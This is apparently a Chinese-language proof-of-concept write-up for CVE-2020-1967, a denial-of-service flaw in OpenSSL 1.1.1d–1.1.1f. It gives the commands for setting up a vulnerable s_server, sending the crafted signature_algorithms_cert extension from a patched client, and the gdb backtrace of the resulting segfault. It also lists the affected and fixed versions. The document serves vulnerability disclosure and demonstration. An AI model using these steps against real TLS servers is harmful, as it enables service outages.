关于OpenSSL signature_algorithms_cert DoS漏洞（CVE-2020-1967）的概念验证利用。原始发现归功于Bernd Edlinger，由Matt Caswell和Benjamin Kaduk进行了额外分析，此演示由Imre Rad完成。
在TLS 1.3握手期间或之后调用SSL_check_chain()函数的服务器或客户端应用程序。根据文档，SSL_check_chain()检查证书x、私钥pk和证书链chain是否适用于当前会话s。此函数调用不存在于流行的Apache httpd或Nginx项目中。
要利用此漏洞，需要在Hello消息中提交特制的signature_algorithms_cert TLS扩展。我使用了打过补丁的openssl库版本来构建此类客户端；服务器是内置的s_server openssl应用程序，并使用了-x选项来激活调用SSL_check_chain的代码路径。
在Debian stable上设置服务器（明确使用有漏洞的版本）：
root@489def7f3594:/data# apt install libssl1.1=1.1.1d-0+deb10u2 openssl=1.1.1d-0+deb10u2
...
root@489def7f3594:/data# openssl version
OpenSSL 1.1.1d 10 Sep 2019
root@489def7f3594:/data# openssl s_server -cert cert.pem -key key.pem -accept 8443 -verify 1 -tls1_3 -xkey key.pem -xcert cert.pem -xchain cert.pem
verify depth is 1
Using default temp DH parameters
ACCEPT
使用打过补丁的客户端发送载荷：
root@489def7f3594:/data# /path/to/patched/openssl s_client -connect 127.0.0.1:8443 -tls1_3 -cert cert.pem -key key.pem -sigalgs rsa_pss_rsae_sha256
CONNECTED(00000004)
Sending CVE-2020-1967 payload
...
此时服务器应该段错误。核心转储如下所示：
root@489def7f3594:/data/1# gdb /data/openssl-1.1.1d/apps/openssl core
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Reading symbols from /data/openssl-1.1.1d/apps/openssl...
(No debugging symbols found in /data/openssl-1.1.1d/apps/openssl)
[New LWP 26319]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Core was generated by `/data/openssl-1.1.1d/apps/openssl s_server -cert cert.pem -key key.pem -accept'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00007f09bcff3770 in tls1_check_sig_alg.part.0.cold () from /data/openssl-1.1.1d/libssl.so
(gdb) bt
#0 0x00007f09bcff3770 in tls1_check_sig_alg.part.0.cold () from /data/openssl-1.1.1d/libssl.so
#1 0x00007f09bd03f309 in tls1_check_chain () from /data/openssl-1.1.1d/libssl.so
#2 0x00007f09bd403fc8 in set_cert_cb ()
#3 0x00007f09bd037f75 in tls_post_process_client_hello () from /data/openssl-1.1.1d/libssl.so
#4 0x00007f09bd02703f in state_machine.part () from /data/openssl-1.1.1d/libssl.so
#5 0x00007f09bcffa3f8 in ssl3_write_bytes () from /data/openssl-1.1.1d/libssl.so
#6 0x00007f09bd00fbb9 in ssl_write_internal () from /data/openssl-1.1.1d/libssl.so
#7 0x00007f09bd00fd07 in SSL_write () from /data/openssl-1.1.1d/libssl.so
#8 0x00007f09bd3e337d in sv_body ()
#9 0x00007f09bd40757a in do_server ()
#10 0x00007f09bd3e7c27 in s_server_main ()
#11 0x00007f09bd3cea46 in do_cmd ()
#12 0x00007f09bd3b89fd in main ()
受影响的版本有：OpenSSL 1.1.1d、1.1.1e和1.1.1f。 第一个修复版本是OpenSSL 1.1.1g。